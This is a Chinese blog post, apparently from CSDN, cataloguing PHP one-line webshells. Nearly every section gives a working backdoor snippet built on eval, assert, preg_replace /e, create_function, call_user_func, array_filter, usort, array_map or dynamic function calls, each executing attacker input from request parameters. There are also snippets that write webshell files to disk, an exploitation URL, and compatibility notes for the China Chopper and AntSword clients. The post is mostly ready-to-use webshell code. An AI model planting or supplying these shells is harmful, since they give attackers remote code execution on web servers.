php一句话木马连接客户端_代码执行函数之一句话木马

本文由IT新手阿里斯撰写,介绍了PHP中用于构造一句话木马的几个关键函数,包括eval()、assert()、preg_replace()等,详细解释了它们如何执行代码,并提到了file_put_contents()和fputs()等函数在创建木马文件中的作用。内容简洁实用,旨在帮助读者理解PHP代码执行机制。
摘要由CSDN通过智能技术生成

前言

大家好,我是阿里斯,一名IT行业小白。今天分享的内容是代码执行函数之一句话木马的构造。内容简单实用,没有过多的废话,希望能帮助到大家。

函数

eval()

$a = $_POST['cmd1'];eval($a);

38d45ca3867e4b45d98f902055712cec.png

assert()

assert($_REQUEST['a']); #11年的菜刀可以使用 ,其它版本不行# 参考链接 https://www.freebuf.com/articles/web/56616.html

a27750429ee55774dbf22235d0ee3b5d.png

preg_replace()

这个函数的第一个参数是正则表达式,按照PHP的格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第二个参数就会被当作代码执行

preg_replace('/asd/e', $_POST['a'], 'asdfasdg');# 14年的菜刀不行 蚁剑报错  # php5.5后开始弃用/e模式,但是经过测试16的菜刀配合php5.6还可以使用

a5465b8c6b32e89aa88be2216a3c693c.png

create_function()

$func = create_function('', $_POST['cmd']);$func();

bfdaa7ed1820da1af95762deb41e795d.png

call_user_func()

把第一个参数作为回调函数调用,其余参数是回调函数的参数。

call_user_func('assert', $_REQUEST['cmd']);# 经过测试php7.0已失效

4e3bf683e8d90c15f1fe43d2df3ea726.png

call_user_func_array()

调用回调函数,并把一个数组参数作为回调函数的参数

$cmd = $_REQUEST['cmd'];$arr[0] = $cmd;call_user_func_array('assert', $arr);# 7.0 php测试失败

ab7049ed7b369c1e7cbcb53d9b1b38ba.png

array_filter()

第一个参数为数组,第二个参数为回调函数。这个函数的作用就是将array数组中的每个值传递给回调函数做参数。

$cmd = $_REQUEST['cmd'];$arr = array($cmd);$func = $_REQUEST['func'];array_filter($arr, $func);# 经过测试php7.0失效

1ec7f740e8fb64dff928306098333617.png

usort()

函数执行的时候,会依次把$a中的两个值,传递给名字为my_sort函数中,所以你会看到my_sort有两个形参

参考链接http://www.am0s.com/functions/97.html

usort(...$_GET);# php5.6以上7.0以下有效#利用方式#http://127.0.0.1:8999/test/project/code_run.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert#x=phpinfo();

7b4ec5569c36d8dfdbeffe042a500870.png

ef2a626f267aeffa674b9eea1482f96d.png

401232f31ff2eb7e1a98797440469c87.png

file_put_contents()

把一个字符串写入文件中,在浏览器访问这个文件会生成相应的木马文件。

$ma = '<?php eval($_REQUEST[cmd]);?>';#这里一定要使用单引号双引号会把$_REQUEST[]当作变量使用file_put_contents('muma.php', $ma);

fputs()

同上

fputs(fopen('shell.php', 'w'), '<?php eval($_REQUEST[cmd])?>');

动态函数

$_GET['a']($_POST['b']);

af009657b72325685ec3b68fc2a61bd9.png

array_map()

array_map($_GET[func], array($_POST[cmd]));

d09b5a24c7b716624f75424dc9481b69.png


结语

最后啰嗦一句,有收获的朋友欢迎帮忙关注转发一下。

0e67eeddcdacfd4dd3320dca1e7c83b1.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值